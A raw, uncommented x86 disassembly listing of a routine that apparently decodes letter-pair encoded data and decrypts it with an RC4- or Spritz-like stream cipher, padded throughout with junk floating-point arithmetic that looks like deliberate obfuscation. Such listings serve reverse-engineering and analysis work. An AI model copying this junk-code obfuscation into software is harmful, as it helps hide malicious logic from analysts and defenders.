mov dword [ebp - 0xc84], 1
mov eax, dword [ebp - 0xc84]
cmp eax, dword [ebp - 0x44c]
jae 0x4823d9
mov ecx, dword [ebp - 0xc84]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0xc84], edx
jmp 0x4823b9
mov eax, dword [ebp - 0xa6c]
mov dword [ebp - 0x1028], eax
cmp dword [ebp - 0x1028], 3
ja case.default.0x4823f8
mov ecx, dword [ebp - 0x1028]
jmp dword [ecx*4 + 0x495114]
movzx edx, byte [ebp - 0x1fc]
movzx ebx, byte [ebp + edx - 0x1554]
movsd xmm0, qword [ebp - 0xc28]
call fcn.0051c6e0
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fc], bl
jmp 0x4824e1
movzx eax, byte [ebp - 0x1fc]
movzx ebx, byte [ebp + eax - 0x1554]
movsd xmm0, qword [ebp - 0xc28]
call fcn.0051c6e0
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fc], bl
jmp 0x4824e1
movzx ecx, byte [ebp - 0x1fc]
movzx ebx, byte [ebp + ecx - 0x1554]
movsd xmm0, qword [ebp - 0xc28]
call fcn.0051c6e0
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fc], bl
jmp 0x4824e1
movzx edx, byte [ebp - 0x1fc]
movzx ebx, byte [ebp + edx - 0x1554]
movsd xmm0, qword [ebp - 0xc28]
call fcn.0051c6e0
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x1fc], bl
jmp 0x4824e1
movzx eax, byte [ebp - 0x1fc]
movzx ecx, byte [ebp + eax - 0x1554]
mov edx, dword [ebp - 0x1898]
add edx, dword [ebp - 0xa6c]
movzx eax, byte [edx - 4]
add ecx, eax
mov byte [ebp - 0x1fc], cl
mov ecx, dword [ebp - 0xa6c]
add ecx, 1
mov dword [ebp - 0xa6c], ecx
movzx edx, byte [ebp - 0x761]
cmp dword [ebp - 0xa6c], edx
jb 0x48251f
mov dword [ebp - 0xa6c], 0
movzx eax, byte [ebp - 0x761]
movzx ecx, byte [ebp - 0x1fc]
add ecx, eax
mov byte [ebp - 0x1fc], cl
movzx edx, byte [ebp - 0x1fc]
and edx, dword [ebp - 0xc84]
mov dword [ebp - 0x910], edx
mov eax, dword [ebp - 0xdd8]
add eax, 1
mov dword [ebp - 0xdd8], eax
cmp dword [ebp - 0xdd8], 0xb
jbe 0x48255e
mov eax, dword [ebp - 0x910]
xor edx, edx
div dword [ebp - 0x44c]
mov dword [ebp - 0x910], edx
mov ecx, dword [ebp - 0x910]
cmp ecx, dword [ebp - 0x44c]
ja 0x4823d9
mov edx, dword [ebp - 0x44c]
cmp edx, dword [ebp - 0x910]
je 0x482603
mov eax, dword [ebp - 0x910]
movzx ecx, byte [ebp + eax - 0x1554]
mov edx, dword [ebp - 0x44c]
movzx eax, byte [ebp + edx - 0x1554]
xor eax, ecx
mov ecx, dword [ebp - 0x44c]
mov byte [ebp + ecx - 0x1554], al
mov edx, dword [ebp - 0x44c]
movzx eax, byte [ebp + edx - 0x1554]
mov ecx, dword [ebp - 0x910]
movzx edx, byte [ebp + ecx - 0x1554]
xor edx, eax
mov eax, dword [ebp - 0x910]
mov byte [ebp + eax - 0x1554], dl
mov ecx, dword [ebp - 0x910]
movzx edx, byte [ebp + ecx - 0x1554]
mov eax, dword [ebp - 0x44c]
movzx ecx, byte [ebp + eax - 0x1554]
xor ecx, edx
mov edx, dword [ebp - 0x44c]
mov byte [ebp + edx - 0x1554], cl
jmp 0x482389
mov eax, 1
shl eax, 0
mov cl, byte [ebp + eax - 0x1554]
mov byte [ebp - 0x193], cl
mov edx, 1
imul eax, edx, 3
mov cl, byte [ebp + eax - 0x1554]
mov byte [ebp - 0x1a4], cl
mov edx, 1
imul eax, edx, 5
mov cl, byte [ebp + eax - 0x1554]
mov byte [ebp - 0x1ce], cl
mov edx, 1
imul eax, edx, 7
mov cl, byte [ebp + eax - 0x1554]
mov byte [ebp - 0x1a3], cl
movzx edx, byte [ebp - 0x1fc]
mov al, byte [ebp + edx - 0x1554]
mov byte [ebp - 0x1ae], al
mov dword [ebp - 0x102c], 0x18
cmp dword [ebp - 0x102c], 2
jle 0x484a37
mov ecx, dword [ebp - 0x102c]
and ecx, 1
jne 0x484a37
mov dword [ebp - 0x220], 0
mov dword [ebp - 0x320], 0
mov edx, dword [ebp - 0x320]
add edx, 1
mov dword [ebp - 0x320], edx
mov dword [ebp - 0x528], 0
mov eax, dword [ebp - 0x220]
shl eax, 1
mov dword [ebp - 0x528], eax
mov dword [ebp - 0x4d4], 0
mov ecx, dword [ebp - 0x524]
add ecx, dword [ebp - 0x528]
movzx edx, byte [ecx]
add edx, dword [ebp - 0x4d4]
mov dword [ebp - 0x4d4], edx
mov dword [ebp - 0x4b8], 0
mov eax, dword [ebp - 0x4b8]
add eax, 0x61
mov dword [ebp - 0x4b8], eax
mov dword [ebp - 0x530], 0
mov ecx, dword [ebp - 0x220]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x530], edx
mov dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x524]
add eax, dword [ebp - 0x530]
movzx ecx, byte [eax]
add ecx, dword [ebp - 0x498]
mov dword [ebp - 0x498], ecx
mov dword [ebp - 0x494], 0
movss xmm0, dword [0x5829cc]
movss dword [ebp - 0x7c8], xmm0
movss xmm0, dword [0x582964]
movss dword [ebp - 0x914], xmm0
movss xmm0, dword [0x5828c0]
movss dword [ebp - 0x690], xmm0
movss xmm0, dword [0x582814]
movss dword [ebp - 0x9bc], xmm0
movss xmm0, dword [ebp - 0x690]
mulss xmm0, dword [ebp - 0x9bc]
movss dword [ebp - 0x690], xmm0
movss xmm0, dword [ebp - 0x690]
mulss xmm0, dword [ebp - 0x9bc]
movss dword [ebp - 0x690], xmm0
movss xmm0, dword [ebp - 0x690]
subss xmm0, dword [ebp - 0x9bc]
movss dword [ebp - 0x690], xmm0
movss xmm0, dword [ebp - 0x7c8]
mulss xmm0, dword [ebp - 0x9bc]
movss dword [ebp - 0x7c8], xmm0
movss xmm0, dword [ebp - 0x690]
comiss xmm0, dword [ebp - 0x9bc]
jbe 0x48287a
movss xmm0, dword [ebp - 0x690]
mulss xmm0, dword [ebp - 0x9bc]
movss dword [ebp - 0x690], xmm0
movss xmm0, dword [ebp - 0x7c8]
subss xmm0, dword [ebp - 0x914]
movss dword [ebp - 0x7c8], xmm0
movss xmm0, dword [ebp - 0x7c8]
addss xmm0, dword [ebp - 0x914]
movss dword [ebp - 0x7c8], xmm0
movss xmm0, dword [ebp - 0x914]
addss xmm0, dword [ebp - 0x690]
movss dword [ebp - 0x914], xmm0
mov edx, dword [ebp - 0x494]
add edx, 0x68
mov dword [ebp - 0x494], edx
jmp 0x4828da
movss xmm0, dword [ebp - 0x7c8]
addss xmm0, dword [ebp - 0x914]
movss dword [ebp - 0x7c8], xmm0
movss xmm0, dword [ebp - 0x7c8]
addss xmm0, dword [ebp - 0x914]
movss dword [ebp - 0x7c8], xmm0
movss xmm0, dword [ebp - 0x914]
subss xmm0, dword [ebp - 0x690]
movss dword [ebp - 0x914], xmm0
movss xmm0, dword [ebp - 0x690]
mulss xmm0, dword [ebp - 0x9bc]
movss dword [ebp - 0x690], xmm0
mov dword [ebp - 0x490], 0
mov eax, dword [ebp - 0x4d4]
sub eax, dword [ebp - 0x4b8]
add eax, dword [ebp - 0x490]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], 0
mov ecx, dword [ebp - 0x498]
sub ecx, dword [ebp - 0x494]
add ecx, dword [ebp - 0x48c]
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x534], 0
mov edx, dword [ebp - 0x490]
shl edx, 4
mov dword [ebp - 0x534], edx
mov dword [ebp - 0x53c], 0
mov eax, dword [ebp - 0x48c]
mov dword [ebp - 0x53c], eax
mov dword [ebp - 0x540], 0
mov ecx, dword [ebp - 0x534]
or ecx, dword [ebp - 0x53c]
mov dword [ebp - 0x540], ecx
mov byte [ebp - 0x1cd], 0
mov dl, byte [ebp - 0x540]
mov byte [ebp - 0x1cd], dl
mov byte [ebp - 0x1c6], 0
movzx eax, byte [ebp - 0x1ae]
mov cl, byte [ebp + eax - 0x1554]
mov byte [ebp - 0x1c6], cl
movzx edx, byte [ebp - 0x193]
movzx eax, byte [ebp + edx - 0x1554]
mov dword [ebp - 0x189c], eax
mov cl, byte [ebp - 0x193]
add cl, 1
mov byte [ebp - 0x193], cl
movzx edx, byte [ebp - 0x1a4]
add edx, dword [ebp - 0x189c]
mov byte [ebp - 0x1a4], dl
movzx eax, byte [ebp - 0x1a4]
movzx ecx, byte [ebp - 0x1ae]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x1a3]
movzx ecx, byte [ebp - 0x1a4]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x193]
movzx ecx, byte [ebp - 0x1a3]
mov dl, byte [ebp + eax - 0x1554]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x193]
mov cl, byte [ebp - 0x1c6]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x1c6]
movzx eax, byte [ebp + edx - 0x1554]
movzx ecx, byte [ebp - 0x1ce]
add ecx, eax
mov byte [ebp - 0x1ce], cl
movzx edx, byte [ebp - 0x1cd]
movzx eax, byte [ebp - 0x1a4]
movzx ecx, byte [ebp + eax - 0x1554]
movzx eax, byte [ebp - 0x193]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1554]
xor edx, ecx
movzx eax, byte [ebp - 0x1a3]
movzx ecx, byte [ebp + eax - 0x1554]
movzx eax, byte [ebp - 0x1ae]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
movzx eax, byte [ebp - 0x1ce]
movzx eax, byte [ebp + eax - 0x1554]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x1554]
movzx eax, byte [ebp + ecx - 0x1554]
xor edx, eax
mov byte [ebp - 0x1a3], dl
mov cl, byte [ebp - 0x1cd]
mov byte [ebp - 0x1ae], cl
mov dl, byte [ebp - 0x1a3]
mov byte [ebp - 0x1eb], dl
cmp dword [ebp - 0x220], 0
jle 0x482b0b
mov eax, dword [ebp - 0x220]
mov cl, byte [ebp - 0x1eb]
mov byte [ebp + eax - 0x1d], cl
mov edx, dword [ebp - 0x220]
add edx, 1
mov dword [ebp - 0x220], edx
mov eax, dword [ebp - 0x320]
add eax, 1
mov dword [ebp - 0x320], eax
mov ecx, dword [ebp - 0x220]
shl ecx, 1
mov dword [ebp - 0x528], ecx
mov edx, dword [ebp - 0x524]
add edx, dword [ebp - 0x528]
movzx eax, byte [edx]
mov dword [ebp - 0x4d4], eax
mov dword [ebp - 0x4b8], 0x61
mov ecx, dword [ebp - 0x220]
lea edx, [ecx + ecx + 1]
mov dword [ebp - 0x530], edx
mov eax, dword [ebp - 0x524]
add eax, dword [ebp - 0x530]
movzx ecx, byte [eax]
mov dword [ebp - 0x498], ecx
mov dword [ebp - 0x494], 0x68
mov edx, dword [ebp - 0x4d4]
sub edx, dword [ebp - 0x4b8]
mov dword [ebp - 0x490], edx
mov eax, dword [ebp - 0x498]
sub eax, dword [ebp - 0x494]
mov dword [ebp - 0x48c], eax
mov ecx, dword [ebp - 0x490]
shl ecx, 4
mov dword [ebp - 0x534], ecx
mov edx, dword [ebp - 0x48c]
mov dword [ebp - 0x53c], edx
mov eax, dword [ebp - 0x534]
or eax, dword [ebp - 0x53c]
mov dword [ebp - 0x540], eax
mov cl, byte [ebp - 0x540]
mov byte [ebp - 0x1cd], cl
movzx edx, byte [ebp - 0x1ae]
mov al, byte [ebp + edx - 0x1554]
mov byte [ebp - 0x1c6], al
movzx ecx, byte [ebp - 0x193]
movzx edx, byte [ebp + ecx - 0x1554]
mov dword [ebp - 0x18a0], edx
mov al, byte [ebp - 0x193]
add al, 1
mov byte [ebp - 0x193], al
movzx ecx, byte [ebp - 0x1a4]
add ecx, dword [ebp - 0x18a0]
mov byte [ebp - 0x1a4], cl
movzx edx, byte [ebp - 0x1a4]
movzx eax, byte [ebp - 0x1ae]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x1a3]
movzx eax, byte [ebp - 0x1a4]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x193]
movzx eax, byte [ebp - 0x1a3]
mov cl, byte [ebp + edx - 0x1554]
mov byte [ebp + eax - 0x1554], cl
movzx edx, byte [ebp - 0x193]
mov al, byte [ebp - 0x1c6]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x1c6]
movzx edx, byte [ebp + ecx - 0x1554]
movzx eax, byte [ebp - 0x1ce]
add eax, edx
mov byte [ebp - 0x1ce], al
movzx ecx, byte [ebp - 0x1cd]
movzx edx, byte [ebp - 0x1a4]
movzx eax, byte [ebp + edx - 0x1554]
movzx edx, byte [ebp - 0x193]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1554]
xor ecx, eax
movzx edx, byte [ebp - 0x1a3]
movzx eax, byte [ebp + edx - 0x1554]
movzx edx, byte [ebp - 0x1ae]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
movzx edx, byte [ebp - 0x1ce]
movzx edx, byte [ebp + edx - 0x1554]
add eax, edx
and eax, 0xff
movzx eax, byte [ebp + eax - 0x1554]
movzx edx, byte [ebp + eax - 0x1554]
xor ecx, edx
mov byte [ebp - 0x1a3], cl
mov al, byte [ebp - 0x1cd]
mov byte [ebp - 0x1ae], al
mov cl, byte [ebp - 0x1a3]
mov byte [ebp - 0x1eb], cl
cmp dword [ebp - 0x220], 0
jle 0x482d67
mov edx, dword [ebp - 0x220]
mov al, byte [ebp - 0x1eb]
mov byte [ebp + edx - 0x1d], al
mov ecx, dword [ebp - 0x220]
add ecx, 1
mov dword [ebp - 0x220], ecx
mov edx, dword [ebp - 0x320]
add edx, 1
mov dword [ebp - 0x320], edx
mov eax, dword [ebp - 0x220]
shl eax, 1
mov dword [ebp - 0x528], eax
mov ecx, dword [ebp - 0x524]
add ecx, dword [ebp - 0x528]
movzx edx, byte [ecx]
mov dword [ebp - 0x4d4], edx
mov dword [ebp - 0x4b8], 0x61
mov eax, dword [ebp - 0x220]
lea ecx, [eax + eax + 1]
mov dword [ebp - 0x530], ecx
mov edx, dword [ebp - 0x524]
add edx, dword [ebp - 0x530]
movzx eax, byte [edx]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x494], 0x68
mov ecx, dword [ebp - 0x4d4]
sub ecx, dword [ebp - 0x4b8]
mov dword [ebp - 0x490], ecx
mov edx, dword [ebp - 0x498]
sub edx, dword [ebp - 0x494]
mov dword [ebp - 0x48c], edx
mov eax, dword [ebp - 0x490]
shl eax, 4
mov dword [ebp - 0x534], eax
movss xmm0, dword [0x5829b8]
movss dword [ebp - 0x384], xmm0
movss xmm0, dword [0x582974]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [0x58291c]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [0x5828b0]
movss dword [ebp - 0x28c], xmm0
movss xmm0, dword [0x58283c]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [0x5827c4]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x304]
mulss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x304]
subss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x2cc]
subss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x24c]
mulss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x2cc]
addss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x384]
mulss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x384], xmm0
movss xmm0, dword [ebp - 0x384]
comiss xmm0, dword [ebp - 0x26c]
jbe 0x482fba
movss xmm0, dword [ebp - 0x28c]
addss xmm0, dword [ebp - 0x2cc]
movss dword [ebp - 0x28c], xmm0
movss xmm0, dword [ebp - 0x26c]
subss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x26c]
subss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x26c]
addss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x2cc]
subss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x304]
addss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x304], xmm0
mov ecx, dword [ebp - 0x48c]
mov dword [ebp - 0x53c], ecx
jmp 0x4833de
movss xmm0, dword [ebp - 0x28c]
subss xmm0, dword [ebp - 0x2cc]
movss dword [ebp - 0x28c], xmm0
movss xmm0, dword [ebp - 0x384]
mulss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x384], xmm0
movss xmm0, dword [ebp - 0x304]
divss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x384]
subss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x384], xmm0
movss xmm0, dword [ebp - 0x304]
subss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x384]
divss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x384], xmm0
movss xmm0, dword [ebp - 0x28c]
subss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x28c], xmm0
movss xmm0, dword [ebp - 0x26c]
mulss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x304]
divss xmm0, dword [ebp - 0x2cc]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x2cc]
subss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x24c]
mulss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x24c]
divss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x28c]
comiss xmm0, dword [ebp - 0x26c]
jbe 0x48334e
movss xmm0, dword [ebp - 0x24c]
subss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x2cc]
addss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x2cc]
addss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x304]
addss xmm0, dword [ebp - 0x2cc]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x28c]
addss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x28c], xmm0
movss xmm0, dword [ebp - 0x28c]
addss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x28c], xmm0
movss xmm0, dword [ebp - 0x28c]
divss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x28c], xmm0
movss xmm0, dword [ebp - 0x24c]
divss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x2cc]
subss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x24c]
divss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x304]
divss xmm0, dword [ebp - 0x2cc]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x26c]
mulss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x28c]
comiss xmm0, dword [ebp - 0x26c]
jbe 0x4832b9
movss xmm0, dword [ebp - 0x24c]
subss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x2cc]
mulss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x26c]
addss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x384]
subss xmm0, dword [ebp - 0x304]
movss dword [ebp - 0x384], xmm0
movss xmm0, dword [ebp - 0x24c]
divss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x24c]
mulss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
jmp 0x483349
movss xmm0, dword [ebp - 0x26c]
divss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x24c]
divss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x24c]
divss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x304]
subss xmm0, dword [ebp - 0x2cc]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x2cc]
addss xmm0, dword [ebp - 0x384]
movss dword [ebp - 0x2cc], xmm0
movss xmm0, dword [ebp - 0x24c]
divss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
jmp 0x4833de
movss xmm0, dword [ebp - 0x304]
mulss xmm0, dword [ebp - 0x2cc]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x304]
subss xmm0, dword [ebp - 0x2cc]
movss dword [ebp - 0x304], xmm0
movss xmm0, dword [ebp - 0x26c]
addss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x24c]
addss xmm0, dword [ebp - 0x28c]
movss dword [ebp - 0x24c], xmm0
movss xmm0, dword [ebp - 0x26c]
mulss xmm0, dword [ebp - 0x24c]
movss dword [ebp - 0x26c], xmm0
movss xmm0, dword [ebp - 0x28c]
addss xmm0, dword [ebp - 0x26c]
movss dword [ebp - 0x28c], xmm0
mov edx, dword [ebp - 0x534]
or edx, dword [ebp - 0x53c]
mov dword [ebp - 0x540], edx
mov al, byte [ebp - 0x540]
mov byte [ebp - 0x1cd], al
movsd xmm0, qword [0x582560]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [0x582460]
movsd qword [ebp - 0x984], xmm0
movsd xmm0, qword [0x582380]
movsd qword [ebp - 0x97c], xmm0
movsd xmm0, qword [0x582240]
movsd qword [ebp - 0x9f8], xmm0
movsd xmm0, qword [0x5820d0]
movsd qword [ebp - 0xa48], xmm0
movsd xmm0, qword [ebp - 0x588]
addsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x588]
addsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x97c]
addsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x97c], xmm0
movsd xmm0, qword [ebp - 0x97c]
addsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x97c], xmm0
movsd xmm0, qword [ebp - 0x588]
addsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0xa48]
comisd xmm0, xmmword [ebp - 0x588]
jbe 0x4836d3
movsd xmm0, qword [ebp - 0x588]
divsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x984]
subsd xmm0, qword [ebp - 0x97c]
movsd qword [ebp - 0x984], xmm0
movsd xmm0, qword [ebp - 0x97c]
divsd xmm0, qword [ebp - 0x9f8]
movsd qword [ebp - 0x97c], xmm0
movsd xmm0, qword [ebp - 0x97c]
addsd xmm0, qword [ebp - 0x9f8]
movsd qword [ebp - 0x97c], xmm0
movsd xmm0, qword [ebp - 0x588]
divsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x588]
addsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x588]
mulsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x9f8]
mulsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x9f8], xmm0
movsd xmm0, qword [ebp - 0x588]
divsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x588]
addsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x588]
comisd xmm0, xmmword [ebp - 0x9f8]
jbe 0x483656
movsd xmm0, qword [ebp - 0x97c]
subsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x97c], xmm0
movsd xmm0, qword [ebp - 0x9f8]
addsd xmm0, qword [ebp - 0x588]
movsd qword [ebp - 0x9f8], xmm0
movsd xmm0, qword [ebp - 0x9f8]
addsd xmm0, qword [ebp - 0x588]
movsd qword [ebp - 0x9f8], xmm0
movsd xmm0, qword [ebp - 0x97c]
addsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x97c], xmm0
movsd xmm0, qword [ebp - 0x588]
divsd xmm0, qword [ebp - 0x97c]
movsd qword [ebp - 0x588], xmm0
jmp 0x4836ce
movsd xmm0, qword [ebp - 0x588]
subsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x588]
mulsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x588]
divsd xmm0, qword [ebp - 0x984]
movsd qword [ebp - 0x588], xmm0
movsd xmm0, qword [ebp - 0x984]
divsd xmm0, qword [ebp - 0x97c]
movsd qword [ebp - 0x984], xmm0
movsd xmm0, qword [ebp - 0x9f8]
subsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x9f8], xmm0
jmp 0x48375f
movsd xmm0, qword [ebp - 0xa48]
subsd xmm0, qword [ebp - 0x588]
movsd qword [ebp - 0xa48], xmm0
movsd xmm0, qword [ebp - 0x9f8]
mulsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x9f8], xmm0
movsd xmm0, qword [ebp - 0x984]
subsd xmm0, qword [ebp - 0x97c]
movsd qword [ebp - 0x984], xmm0
movsd xmm0, qword [ebp - 0x984]
mulsd xmm0, qword [ebp - 0x97c]
movsd qword [ebp - 0x984], xmm0
movsd xmm0, qword [ebp - 0x9f8]
addsd xmm0, qword [ebp - 0xa48]
movsd qword [ebp - 0x9f8], xmm0
movzx ecx, byte [ebp - 0x1ae]
mov dl, byte [ebp + ecx - 0x1554]
mov byte [ebp - 0x1c6], dl
movzx eax, byte [ebp - 0x193]
movzx ecx, byte [ebp + eax - 0x1554]
mov dword [ebp - 0x18a4], ecx
mov dl, byte [ebp - 0x193]
add dl, 1
mov byte [ebp - 0x193], dl
movzx eax, byte [ebp - 0x1a4]
add eax, dword [ebp - 0x18a4]
mov byte [ebp - 0x1a4], al
movzx ecx, byte [ebp - 0x1a4]
movzx edx, byte [ebp - 0x1ae]
mov al, byte [ebp + ecx - 0x1554]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x1a3]
movzx edx, byte [ebp - 0x1a4]
mov al, byte [ebp + ecx - 0x1554]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x193]
movzx edx, byte [ebp - 0x1a3]
mov al, byte [ebp + ecx - 0x1554]
mov byte [ebp + edx - 0x1554], al
movzx ecx, byte [ebp - 0x193]
mov dl, byte [ebp - 0x1c6]
mov byte [ebp + ecx - 0x1554], dl
movzx eax, byte [ebp - 0x1c6]
movzx ecx, byte [ebp + eax - 0x1554]
movzx edx, byte [ebp - 0x1ce]
add edx, ecx
mov byte [ebp - 0x1ce], dl
movzx eax, byte [ebp - 0x1cd]
movzx ecx, byte [ebp - 0x1a4]
movzx edx, byte [ebp + ecx - 0x1554]
movzx ecx, byte [ebp - 0x193]
movzx ecx, byte [ebp + ecx - 0x1554]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1554]
xor eax, edx
movzx ecx, byte [ebp - 0x1a3]
movzx edx, byte [ebp + ecx - 0x1554]
movzx ecx, byte [ebp - 0x1ae]
movzx ecx, byte [ebp + ecx - 0x1554]
add edx, ecx
movzx ecx, byte [ebp - 0x1ce]
movzx ecx, byte [ebp + ecx - 0x1554]
add edx, ecx
and edx, 0xff
movzx edx, byte [ebp + edx - 0x1554]
movzx ecx, byte [ebp + edx - 0x1554]
xor eax, ecx
mov byte [ebp - 0x1a3], al
mov dl, byte [ebp - 0x1cd]
mov byte [ebp - 0x1ae], dl
mov al, byte [ebp - 0x1a3]
mov byte [ebp - 0x1eb], al
cmp dword [ebp - 0x220], 0
jle 0x4838d3
mov ecx, dword [ebp - 0x220]
mov dl, byte [ebp - 0x1eb]
mov byte [ebp + ecx - 0x1d], dl
mov eax, dword [ebp - 0x320]
add eax, 3
